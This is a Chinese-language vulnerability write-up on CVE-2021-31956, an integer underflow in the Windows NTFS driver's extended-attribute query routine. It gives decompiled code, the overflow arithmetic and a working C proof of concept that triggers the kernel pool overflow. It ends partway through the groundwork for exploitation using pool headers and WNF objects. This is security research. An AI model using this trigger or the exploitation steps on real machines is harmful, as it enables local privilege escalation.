-
-
[原创]Windows NTFS本地提权漏洞 CVE-2021-31956
-
2023-6-28 18:05 10033
-
参考链接:
https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/
https://paper.seebug.org/1743
使用PipeAttribution构造任意地址读后,修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写
https://dawnslab.jd.com/CVE-2021-31956/
https://github.com/hzshang/CVE-2021-31956
使用使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)
https://bbs.kanxue.com/thread-271140.htm
https://github.com/aazhuliang/CVE-2021-31956-EXP
漏洞在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)的NtfsQueryEaUserEaList函数中
NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA
1 2 3 4 5 6 7 8 9 10 11 12 13 | typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[ 1 ]; } FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[ 1 ]; } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; |
漏洞成因
泄露的NT5.1中有NtfsQueryEaUserEaList的源码
NT5.1泄露的源码
https://github.com/0x5bfa/NT5.1/blob/master/Source/XPSP1/NT/base/fs/ntfs/ea.c#L1461
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 | IO_STATUS_BLOCK NtfsQueryEaUserEaList( IN PFILE_FULL_EA_INFORMATION CurrentEas, IN PEA_INFORMATION EaInformation, OUT PFILE_FULL_EA_INFORMATION EaBuffer, IN ULONG UserBufferLength, IN PFILE_GET_EA_INFORMATION UserEaList, IN BOOLEAN ReturnSingleEntry ) / * + + Routine Description: This routine is the work routine for querying EAs given a list of Ea's to search for . Arguments: CurrentEas - This is a pointer to the current Eas for the file EaInformation - This is a pointer to an Ea information attribute. EaBuffer - Supplies the buffer to receive the full eas UserBufferLength - Supplies the length, in bytes, of the user buffer UserEaList - Supplies the user specified ea name list ReturnSingleEntry - Indicates if we are to return a single entry or not Return Value: IO_STATUS_BLOCK - Receives the completion status for the operation - - * / { IO_STATUS_BLOCK Iosb; ULONG GeaOffset; ULONG FeaOffset; ULONG Offset; PFILE_FULL_EA_INFORMATION LastFullEa; PFILE_FULL_EA_INFORMATION NextFullEa; PFILE_GET_EA_INFORMATION GetEa; BOOLEAN Overflow; ULONG PrevEaPadding; PAGED_CODE(); DebugTrace( + 1 , Dbg, ( "NtfsQueryEaUserEaList: Entered\n" )); / / / / Setup pointer in the output buffer so we can track the Ea being / / written to it and the last Ea written. / / LastFullEa = NULL; Overflow = FALSE; / / / / Initialize our next offset value. / / GeaOffset = 0 ; Offset = 0 ; PrevEaPadding = 0 ; / / / / Loop through all the entries in the user's ea list . / / while (TRUE) { STRING GeaName; STRING OutputEaName; ULONG RawEaSize; / / / / Get the next entry in the user's list . / / GetEa = (PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset); / / / / Make a string reference to the name and see if we can locate / / the ea by name. / / GeaName.MaximumLength = GeaName.Length = GetEa - >EaNameLength; GeaName. Buffer = &GetEa - >EaName[ 0 ]; / / / / Upcase the name so we can do a case - insensitive compare. / / NtfsUpcaseEaName(&GeaName, &GeaName); / / / / Check for a valid name. / / if (!NtfsIsEaNameValid(GeaName)) { DebugTrace( - 1 , Dbg, ( "NtfsQueryEaUserEaList: Invalid Ea Name\n" )); Iosb.Information = GeaOffset; Iosb.Status = STATUS_INVALID_EA_NAME; return Iosb; } GeaOffset + = GetEa - >NextEntryOffset; / / / / If this is a duplicate name, then step over this entry. / / if (NtfsIsDuplicateGeaName(GetEa, UserEaList)) { / / / / If we've exhausted the entries in the Get Ea list , then we are / / done. / / if (GetEa - >NextEntryOffset = = 0 ) { break ; } else { continue ; } } / / / / Generate a pointer in the Ea buffer . / / NextFullEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset + PrevEaPadding); / / / / Try to find a matching Ea. / / If we couldn 't, let' s dummy up an Ea to give to the user. / / if (!NtfsLocateEaByName(CurrentEas, EaInformation - >UnpackedEaSize, &GeaName, &FeaOffset)) { / / / / We were not able to locate the name therefore we must / / dummy up a entry for the query. The needed Ea size is / / the size of the name + 4 ( next entry offset) + 1 (flags) / / + 1 (name length) + 2 (value length) + the name length + / / 1 (null byte). / / RawEaSize = 4 + 1 + 1 + 2 + GetEa - >EaNameLength + 1 ; if ((RawEaSize + PrevEaPadding) > UserBufferLength) { Overflow = TRUE; break ; } / / / / Everything is going to work fine, so copy over the name, / / set the name length and zero out the rest of the ea. / / NextFullEa - >NextEntryOffset = 0 ; NextFullEa - >Flags = 0 ; NextFullEa - >EaNameLength = GetEa - >EaNameLength; NextFullEa - >EaValueLength = 0 ; RtlCopyMemory(&NextFullEa - >EaName[ 0 ], &GetEa - >EaName[ 0 ], GetEa - >EaNameLength); / / / / Upcase the name in the buffer . / / OutputEaName.MaximumLength = OutputEaName.Length = GeaName.Length; OutputEaName. Buffer = NextFullEa - >EaName; NtfsUpcaseEaName(&OutputEaName, &OutputEaName); NextFullEa - >EaName[GetEa - >EaNameLength] = 0 ; / / / / Otherwise return the Ea we found back to the user. / / } else { PFILE_FULL_EA_INFORMATION ThisEa; / / / / Reference this ea. / / ThisEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset); / / / / Check if this Ea can fit in the user's buffer . / / RawEaSize = RawUnpackedEaSize(ThisEa); if (RawEaSize > (UserBufferLength - PrevEaPadding)) { Overflow = TRUE; break ; } / / / / Copy this ea to the user's buffer . / / RtlCopyMemory(NextFullEa, ThisEa, RawEaSize); NextFullEa - >NextEntryOffset = 0 ; } / / / / Compute the next offset in the user's buffer . / / Offset + = (RawEaSize + PrevEaPadding); / / / / If we were to return a single entry then break out of our loop / / now / / if (ReturnSingleEntry) { break ; } / / / / If we have a new Ea entry, go back and update the offset field / / of the previous Ea entry. / / if (LastFullEa ! = NULL) { LastFullEa - >NextEntryOffset = PtrOffset(LastFullEa, NextFullEa); } / / / / If we've exhausted the entries in the Get Ea list , then we are / / done. / / if (GetEa - >NextEntryOffset = = 0 ) { break ; } / / / / Remember this as the previous ea value. Also update the buffer / / length values and the buffer offset values. / / LastFullEa = NextFullEa; UserBufferLength - = (RawEaSize + PrevEaPadding); / / / / Now remember the padding bytes needed for this call. / / PrevEaPadding = LongAlign(RawEaSize) - RawEaSize; } / / / / If the Ea information won 't fit in the user' s buffer , then return / / an overflow status. / / if (Overflow) { Iosb.Information = 0 ; Iosb.Status = STATUS_BUFFER_OVERFLOW; / / / / Otherwise return the length of the data returned. / / } else { / / / / Return the length of the buffer filled and a success / / status. / / Iosb.Information = Offset; Iosb.Status = STATUS_SUCCESS; } DebugTrace( 0 , Dbg, ( "Status -> %08lx\n" , Iosb.Status)); DebugTrace( 0 , Dbg, ( "Information -> %08lx\n" , Iosb.Information)); DebugTrace( - 1 , Dbg, ( "NtfsQueryEaUserEaList: Exit\n" )); return Iosb; } |
Ntfs IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | _QWORD * __fastcall NtfsQueryEaUserEaList(_QWORD * a1, _FILE_FULL_EA_INFORMATION * ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned int out_buf_length, _FILE_GET_EA_INFORMATION * eaList, char a7) { int v8; / / edi unsigned int v9; / / ebx unsigned int padding; / / er15 _FILE_GET_EA_INFORMATION * GetEa; / / r12 ULONG v12; / / er14 unsigned __int8 v13; / / r13 _FILE_GET_EA_INFORMATION * curEaList; / / rbx unsigned int v15; / / ebx _DWORD * v16; / / r13 unsigned int ea_block_size; / / er14 unsigned int v18; / / ebx _FILE_FULL_EA_INFORMATION * ea_block; / / rdx char v21; / / al ULONG v22; / / [rsp + 20h ] [rbp - 38h ] unsigned int v23; / / [rsp + 24h ] [rbp - 34h ] BYREF _DWORD * v24; / / [rsp + 28h ] [rbp - 30h ] struct _STRING DestinationString; / / [rsp + 30h ] [rbp - 28h ] BYREF STRING SourceString; / / [rsp + 40h ] [rbp - 18h ] BYREF unsigned int offest; / / [rsp + A0h] [rbp + 48h ] v8 = 0 ; * a1 = 0i64 ; v24 = 0i64 ; v9 = 0 ; offest = 0 ; padding = 0 ; a1[ 1 ] = 0i64 ; while ( 1 ) { / / 索引ealist中的成员,用作下面的查找。 GetEa = (_FILE_GET_EA_INFORMATION * )((char * )eaList + v9); * (_QWORD * )&DestinationString.Length = 0i64 ; DestinationString. Buffer = 0i64 ; * (_QWORD * )&SourceString.Length = 0i64 ; SourceString. Buffer = 0i64 ; * (_QWORD * )&DestinationString.Length = GetEa - >EaNameLength; DestinationString.MaximumLength = DestinationString.Length; DestinationString. Buffer = GetEa - >EaName; RtlUpperString(&DestinationString, &DestinationString); if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) ) / / 检查ealist中成员的name是否有效 break ; v12 = GetEa - >NextEntryOffset; v13 = GetEa - >EaNameLength; v22 = GetEa - >NextEntryOffset + v9; for ( curEaList = eaList; ; curEaList = (_FILE_GET_EA_INFORMATION * )((char * )curEaList + curEaList - >NextEntryOffset) ) / / 遍历查询的EaList { if ( curEaList = = GetEa ) { v15 = offest; v16 = (_DWORD * )(a4 + padding + offest); if ( (unsigned __int8)NtfsLocateEaByName( / / 根据name查找对应的Ea信息 ea_blocks_for_file, * (unsigned int * )(out_buf + 4 ), &DestinationString, &v23) ) { ea_block = (_FILE_FULL_EA_INFORMATION * )((char * )ea_blocks_for_file + v23); ea_block_size = ea_block - >EaValueLength + ea_block - >EaNameLength + 9 ; / / 计算内存拷贝大小 if ( ea_block_size < = out_buf_length - padding ) / / 防溢出检查 / / 两个uint32相减以后发生整数溢出绕过检查 { memmove(v16, ea_block, ea_block_size); / / 溢出点 * v16 = 0 ; goto LABEL_8; } } else { ea_block_size = GetEa - >EaNameLength + 9 ; / / 9 = 4 ( next entry offset) + 1 (flags) + 1 (name length) + 2 (value length) + 1 (null byte) if ( ea_block_size + padding < = out_buf_length ) { * v16 = 0 ; * ((_BYTE * )v16 + 4 ) = 0 ; * ((_BYTE * )v16 + 5 ) = GetEa - >EaNameLength; * ((_WORD * )v16 + 3 ) = 0 ; memmove(v16 + 2 , GetEa - >EaName, GetEa - >EaNameLength); SourceString.Length = DestinationString.Length; SourceString.MaximumLength = DestinationString.Length; SourceString. Buffer = (PCHAR)(v16 + 2 ); RtlUpperString(&SourceString, &SourceString); v15 = offest; * ((_BYTE * )v16 + GetEa - >EaNameLength + 8 ) = 0 ; LABEL_8: v18 = ea_block_size + padding + v15; offest = v18; if ( !a7 ) { if ( v24 ) * v24 = (_DWORD)v16 - (_DWORD)v24; if ( GetEa - >NextEntryOffset ) / / 判断是ealist中是否还有其他成员 { v24 = v16; out_buf_length - = ea_block_size + padding; / / 总长度减去已经拷贝的长度 padding = ((ea_block_size + 3 ) & 0xFFFFFFFC ) - ea_block_size; / / padding的计算 goto LABEL_26; } } LABEL_12: a1[ 1 ] = v18; LABEL_13: * (_DWORD * )a1 = v8; return a1; } } v21 = NtfsStatusDebugFlags; a1[ 1 ] = 0i64 ; if ( v21 ) NtfsStatusTraceAndDebugInternal( 0i64 , 2147483653i64 , 919406i64 ); v8 = - 2147483643 ; goto LABEL_13; } if ( v13 = = curEaList - >EaNameLength && !memcmp(GetEa - >EaName, curEaList - >EaName, v13) ) break ; } if ( !v12 ) { v18 = offest; goto LABEL_12; } LABEL_26: v9 = v22; } a1[ 1 ] = v9; if ( NtfsStatusDebugFlags ) NtfsStatusTraceAndDebugInternal( 0i64 , 2147483667i64 , 919230i64 ); * (_DWORD * )a1 = - 2147483629 ; return a1; } |
NtfsQueryEaUserEaList从 循环遍历文件的每个 NTFS 扩展属性 (Ea),并根据ea_block->EaValueLength + ea_block->EaNameLength + 9的大小从 Ea 块复制到输出缓冲区。
有一个检查确保ea_block_size小于或等于out_buf_length - padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) - ea_block_size来计算的。因为每个EA块应该填充为32位对齐。
假设文件的扩展属性中有两个扩展属性
正常情况下:
第一次迭代
1 2 3 4 5 | EaNameLength = 5 EaValueLength = 4 ea_block_size = 9 + 5 + 4 = 18 padding = 0 |
因此18 < out_buf_length - 0,数据将被复制到缓冲区中
第二次迭代
1 2 3 4 5 | out_buf_length = 30 - 18 + 0 out_buf_length = 12 / / we would have 12 bytes left of the output buffer . padding = (( 18 + 3 ) 0xFFFFFFFC ) - 18 padding = 2 |
在文件中添加一个具有相同值的第二个扩展属性。
1 2 3 4 5 | EaNameLength = 5 EaValueLength = 4 ea_block_size = 9 + 5 + 4 = 18 18 < = 12 - 2 / / is False . |
由于缓冲区太小,第二次内存复制将不会发生。
整数溢出
1 2 3 4 5 6 7 | 第一个扩展属性: EaNameLength = 5 EaValueLength = 4 第二个扩展属性: EaNameLength = 5 EaValueLength = 47 |
第一次迭代
1 2 3 4 5 | EaNameLength = 5 EaValueLength = 4 ea_block_size = 9 + 5 + 4 / / 18 padding = 0 |
检查结果为:
18 <= 18 - 0 // is True and a copy of 18 occurs.
第二个扩展属性具有以下值:
1 2 3 4 5 | EaNameLength = 5 EaValueLength = 47 ea_block_size = 5 + 47 + 9 ea_block_size = 137 |
结果检查将是:
ea_block_size <= out_buf_length - padding
137 <= 0 - 2
发生下溢,137 个字节将被复制到缓冲区末尾,从而损坏相邻内存。
查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的
NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | / / 为文件创建EA NTSTATUS ZwSetEaFile( [ in ] HANDLE FileHandle, [out] PIO_STATUS_BLOCK IoStatusBlock, [ in ] PVOID Buffer , [ in ] ULONG Length ); / / 查询文件EA NTSTATUS ZwQueryEaFile( [ in ] HANDLE FileHandle, / / 文件句柄 [out] PIO_STATUS_BLOCK IoStatusBlock, [out] PVOID Buffer , / / 扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构) [ in ] ULONG Length, / / 缓冲区大小 [ in ] BOOLEAN ReturnSingleEntry, [ in , optional] PVOID EaList, / / 指定需要查询的扩展属性 [ in ] ULONG EaListLength, [ in , optional] PULONG EaIndex, / / 指定需要查询的起始索引 [ in ] BOOLEAN RestartScan ); |
可以看到输出缓冲区Buffer以及该缓冲区的长度都是从用户空间传入的。这意味着我们根据缓冲区的大小控制内核空间的内存分配。
该漏洞对攻击者来说:
溢出拷贝时数据和大小均可控。
可以覆盖下一个内核池块
内核池分配时大小可控,并且可以进行堆布局。
触发漏洞
Windows10引入了新的方式进行堆块管理,称为Segment Heap,具体可看以下论文
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
EXP:https://github.com/aazhuliang/CVE-2021-31956-EXP
仿照EXP改的可以触发溢出的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 | #include <iostream> #include <Windows.h> #include <sddl.h> #define PAYLOAD_SIZE 1000 #define TIGGER_EA_NAME ".PA" #define OVER_EA_NAME ".PBB" #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME)) #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME)) #define OVER_STATEDATA_LENGTH 0x1000 #define OVER_EA_VALUE_LENGTH (0xf) #define KERNAL_ALLOC_SIZE 0xae #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9)) typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef NTSTATUS(NTAPI * __ZwQueryEaFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer , ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan ); typedef NTSTATUS(NTAPI * __ZwSetEaFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer , ULONG Length ); typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[ 1 ]; } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[ 1 ]; } FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; __ZwQueryEaFile NtQueryEaFile = NULL; __ZwSetEaFile NtSetEaFile = NULL; UINT64 OVER_STATENAME = 0 ; int main() { HMODULE hNtDll = NULL; hNtDll = LoadLibrary(L "ntdll.dll" ); if (hNtDll = = NULL) { printf( "load ntdll failed!\r\n" ); return 0 ; } NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile" ); NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile" ); if (NtQueryEaFile = = NULL || NtSetEaFile = = NULL ) { printf( "not found functions\r\n" ); return 0 ; } PFILE_GET_EA_INFORMATION EaList = NULL; PFILE_GET_EA_INFORMATION EaListCP = NULL; PVOID eaData = NULL; DWORD dwNumberOfBytesWritten = 0 ; UCHAR payLoad[PAYLOAD_SIZE] = { 0 }; PFILE_FULL_EA_INFORMATION curEa = NULL; HANDLE hFile = INVALID_HANDLE_VALUE; IO_STATUS_BLOCK eaStatus = { 0 }; NTSTATUS rc; PISECURITY_DESCRIPTOR pSecurity = NULL; PUCHAR pd = NULL; int state = - 1 ; hFile = CreateFileA( "payload" , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile = = INVALID_HANDLE_VALUE) { printf( "create the file failed\r\n" ); goto ERROR_HANDLE; } WriteFile(hFile, "This files has an optional .COMMENTS EA\n" , strlen( "This files has an optional .COMMENTS EA\n" ), &dwNumberOfBytesWritten, NULL); curEa = (PFILE_FULL_EA_INFORMATION)payLoad; curEa - >Flags = 0 ; curEa - >EaNameLength = TIGGER_EA_NAME_LENGTH; curEa - >EaValueLength = TIGGER_EA_VALUE_LENGTH; / / align 4 。 curEa - >NextEntryOffset = (curEa - >EaNameLength + curEa - >EaValueLength + 3 + 9 ) & (~ 3 ); memcpy(curEa - >EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); RtlFillMemory(curEa - >EaName + curEa - >EaNameLength + 1 , TIGGER_EA_VALUE_LENGTH, 'A' ); curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa - >NextEntryOffset); curEa - >NextEntryOffset = 0 ; curEa - >Flags = 0 ; curEa - >EaNameLength = OVER_EA_NAME_LENGTH; curEa - >EaValueLength = OVER_EA_VALUE_LENGTH; memcpy(curEa - >EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); RtlFillMemory(curEa - >EaName + curEa - >EaNameLength + 1 , OVER_EA_VALUE_LENGTH, 0 ); pd = (PUCHAR)(curEa); rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad)); if (rc ! = 0 ) { printf( "NtSetEaFile failed error code is %x\r\n" , rc); goto ERROR_HANDLE; } eaData = malloc(sizeof(payLoad)); if (eaData = = NULL) { goto ERROR_HANDLE; } memset(eaData, 0 , sizeof(payLoad)); EaList = (PFILE_GET_EA_INFORMATION)malloc( 100 ); if (EaList = = NULL) { goto ERROR_HANDLE; } EaListCP = EaList; memset(EaList, 0 , 100 ); memcpy(EaList - >EaName, ".PA" , strlen( ".PA" )); EaList - >EaNameLength = (UCHAR)strlen( ".PA" ); EaList - >NextEntryOffset = 12 ; / / align 4 EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12 ); memcpy(EaList - >EaName, ".PBB" , strlen( ".PBB" )); EaList - >EaNameLength = (UCHAR)strlen( ".PBB" ); EaList - >NextEntryOffset = 0 ; rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100 , 0 , TRUE); state = 0 ; ERROR_HANDLE: if (hFile ! = INVALID_HANDLE_VALUE) { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; } if (EaList ! = NULL) { free(EaListCP); EaList = NULL; } if (eaData ! = NULL) { free(eaData); eaData = NULL; } if (pSecurity ! = NULL) { free(pSecurity); pSecurity = NULL; } return 0 ; } |
1 2 3 4 | bu ntdll!NtQueryEaFile bu Ntfs!NtfsQueryEaUserEaList bu Ntfs!NtfsQueryEaUserEaList + 0x19f bu Ntfs!NtfsQueryEaUserEaList + 0x1b2 |
可以看到整数下溢
漏洞利用
Windows10引入了新的方式进行堆块管理,称为Segment Heap
详见:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
中文翻译:https://paper.seebug.org/1743
POOL_HEADER
POOL_HEADER 在池中,适合单个页面的所有块都以POOL_HEADER结构开头,POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时,首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择:重写一个正确的POOL_HEADER结构,并用来攻击下一个块的数据,或者直接攻击POOL_HEADER结构。
1 2 3 4 5 6 7 8 9 | struct POOL_HEADER { char PreviousSize; / / 之前的块的大小除以 16 char PoolIndex; / / PoolDescriptor数组中的索引 char BlockSize; / / 当前分配的大小除以 16 char PoolType; / / 包含分配类型信息的位域 int PoolTag; Ptr64 ProcessBilled ; / / 指向分配内存的进程的KPROCESS的指针,只有PoolType中包含PoolQuota标志时,才设置此字段。 }; |
PoolType是一个位域,存储若干信息:
使用的内存类型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;
如果分配是关键的(bit 1)并且必须成功。那么当分配失败,就会触发BugCheck;
如果分配与缓存大小对齐(bit 2)
如果分配使用了PoolQuota机制(bit 3)
其他未文档化的机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | NonPagedPool = 0 PagedPool = 1 NonPagedPoolMustSucceed = 2 DontUseThisType = 3 NonPagedPoolCacheAligned = 4 PagedPoolCacheAligned = 5 NonPagedPoolCacheAlignedMustSucceed = 6 MaxPoolType = 7 PoolQuota = 8 NonPagedPoolSession = 20h PagedPoolSession = 21h NonPagedPoolMustSucceedSession = 22h DontUseThisTypeSession = 23h NonPagedPoolCacheAlignedSession = 24h PagedPoolCacheAlignedSession = 25h NonPagedPoolCacheAlignedMustSSession = 26h NonPagedPoolNx = 200h NonPagedPoolNxCacheAligned = 204h NonPagedPoolSessionNx = 220h |
相对偏移地址读写
WNF
WNF Windows Notification Facitily 是 Windows 中的一个通知系统。应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。
WNF 利用相关文章
https://docplayer.net/145030841-The-windows-notification-facility.html
https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
结构体_WNF_STATE_DATA大可以由用户自定义
1 2 3 4 5 6 7 | struct _WNF_STATE_DATA { struct _WNF_NODE_HEADER Header; / / 0x0 ULONG AllocatedSize; / / 0x4 / / 分配的内核池大小 ULONG DataSize; / / 0x8 / / 当前数据大小 ULONG ChangeStamp; / / 0xc }; |
用户可以通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;WNF对象大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )
1 2 3 4 5 6 7 8 9 | typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)( _Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime, _In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData, _In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize, _In_ PSECURITY_DESCRIPTOR SecurityDescriptor ); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | struct _WNF_NAME_INSTANCE { struct _WNF_NODE_HEADER Header; / / 0x0 struct _EX_RUNDOWN_REF RunRef; / / 0x8 struct _RTL_BALANCED_NODE TreeLinks; / / 0x10 struct _WNF_STATE_NAME_STRUCT StateName; / / 0x28 struct _WNF_SCOPE_INSTANCE * ScopeInstance; / / 0x30 struct _WNF_STATE_NAME_REGISTRATION StateNameInfo; / / 0x38 struct _WNF_LOCK StateDataLock; / / 0x50 struct _WNF_STATE_DATA * StateData; / / 0x58 ULONG CurrentChangeStamp; / / 0x60 VOID * PermanentDataStore; / / 0x68 struct _WNF_LOCK StateSubscriptionListLock; / / 0x70 struct _LIST_ENTRY StateSubscriptionListHead; / / 0x78 struct _LIST_ENTRY TemporaryNameListEntry; / / 0x88 struct _EPROCESS * CreatorProcess; / / 0x98 LONG DataSubscribersCount; / / 0xa0 LONG CurrentDeliveryCount; / / 0xa4 }; |
NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA结构存储写入的内容;
1 2 3 4 5 6 7 8 | typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer , _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp); |
通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。NtDeleteWnfStateDat会调用ExpWnfDeleteStateData。
1 2 3 4 5 6 7 | typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_opt_ PWNF_TYPE_ID TypeId, _In_opt_ const VOID * ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp, _Out_writes_bytes_to_opt_( * BufferSize, * BufferSize) PVOID Buffer , _Inout_ PULONG BufferSize); |
DataSize表示内存中_WNF_STATE_DATA结构的实际数据的大小,并用于NtQueryWnfStateData函数内的边界检查。_WNF_STATE_DATA结构存储写入的内容的内存复制操作发生在函数ExpWnfReadStateData中。
